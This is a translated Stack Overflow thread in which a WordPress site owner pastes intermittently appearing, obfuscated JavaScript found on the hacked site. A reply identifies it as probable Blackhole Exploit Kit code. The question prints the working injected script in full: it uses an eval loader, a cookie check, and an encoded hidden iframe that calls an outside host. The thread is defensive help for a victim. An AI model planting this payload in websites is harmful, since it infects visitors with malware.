我的wordpress网站遭到黑客攻击,有人告诉我这个代码的作用是什么?

时间:2012-03-07 23:53:26

标签: javascript wordpress

所以我知道这个网站被黑了。奇怪的是,当我访问该网站,并查看源代码时,有时会出现这种情况。有时它不在那里。这让我担心这很难摆脱。但这是代码。谁能给我一些见解?谢谢。

var a=!1;oq = "\x6C\x6F\x6E\x6C\x79";if(!document.cookie.match(oq)){if(window.document)try{location(12);}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='fromChar';f+='Code';}ee='e';e=window[zz];t='y';}h=Math.atan2(3,0)/Math.PI*-4;n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a5.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a5.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a5.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a55a56a49.5a48.5a51.5a54.5a57.5a56.5a22a48.5a51a22a50.5a50.5a22.5a51.5a54a22a48.5a50.5a51.5a30.5a24a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a5.5a3.5a3.5a61.5a5.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a5.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a55a56a49.5a48.5a51.5a54.5a57.5a56.5a22a48.5a51a22a50.5a50.5a22.5a51.5a54a22a48.5a50.5a51.5a30.5a24a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a5.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a5.5a3.5a3.5a61.5".split("a");for(i=0;i<569;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);ic=new Date;ic.setTime(ic.getTime());bh=new Date(ic.getTime()+72E6);document.cookie=oq+"="+escape(bh.toGMTString())+";expires="+bh.toGMTString()+";path=/";};

1 个答案:

答案 0 :(得分:1)

嗯,这看起来像Blackhole Exploit Kit的代码。

http://www.google.com/support/forum/p/Webmasters/thread?tid=3dd6eae1371cf604&hl=en

由上面的matthewk链接,What is the purpose of this JavaScript hack?描述了代码的工作原理。您可能还想阅读此内容:http://blog.imperva.com/2011/12/deconstructing-the-black-hole-exploit-kit.html